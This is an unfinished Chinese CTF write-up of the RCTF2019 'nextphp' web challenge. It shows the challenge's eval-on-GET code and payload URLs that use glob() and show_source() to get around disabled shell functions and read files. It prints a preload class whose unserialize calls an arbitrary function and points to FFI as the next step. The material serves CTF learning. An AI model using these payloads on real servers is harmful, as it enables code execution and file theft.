RCTF2019Web-nextphp(暂未完成)
开局一篇简短的代码
<?php if (isset($_GET['a'])) { eval($_GET['a']); } else { show_source(__FILE__); }
尝试构造/?a=phpinfo();
得到禁用函数如下:
set_time_limit,ini_set,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,system,exec,shell_exec,popen,proc_open,passthru,symlink,link,syslog,imap_open,ld,mail,putenv,error_log,dl
最主要的system,exec,shell_exec,popen,proc_open,passthru等被禁用了,无法读取文件。
通过学习glob()函数,掌握了一个绕过姿势:
/?a=print_r(glob("*"));
返回:Array ( [0] => index.php [1] => preload.php)
读取preload.php里的内容
?a=show_source("preload.php");
<?php final class A implements Serializable { protected $data = [ 'ret' => null, 'func' => 'print_r', 'arg' => '1' ]; private function run () { $this->data['ret'] = $this->data['func']($this->data['arg']); } public function __serialize(): array { return $this->data; } public function __unserialize(array $data) { array_merge($this->data, $data); $this->run(); } public function serialize (): string { return serialize($this->data); } public function unserialize($payload) { $this->data = unserialize($payload); $this->run(); } public function __get ($key) { return $this->data[$key]; } public function __set ($key, $value) { throw new \Exception('No implemented'); } public function __construct () { throw new \Exception('No implemented'); } }
因为太菜了做到这我要哭了T T又了解了新姿势。
phpinfo()中有:
opcache.preload = /var/www/html/preload.php
这是是 PHP 7.4的新特性,可以利用其在服务器启动时加载一些类和函数,然后就可以在之后如同 PHP 的内部实体一样直接调用。
官方文档里写道:
In conjunction with ext/FFI (dangerous extension)
phpinfo里搜索了一哈也开了这个扩展。
戳我深入了解一下FFI
后面没太弄懂,先马克师傅们的wp,过两天补上:
RCTF 2019 web - p0pl4r - 博客园
RCTF 2019 Web Writeup - 先知社区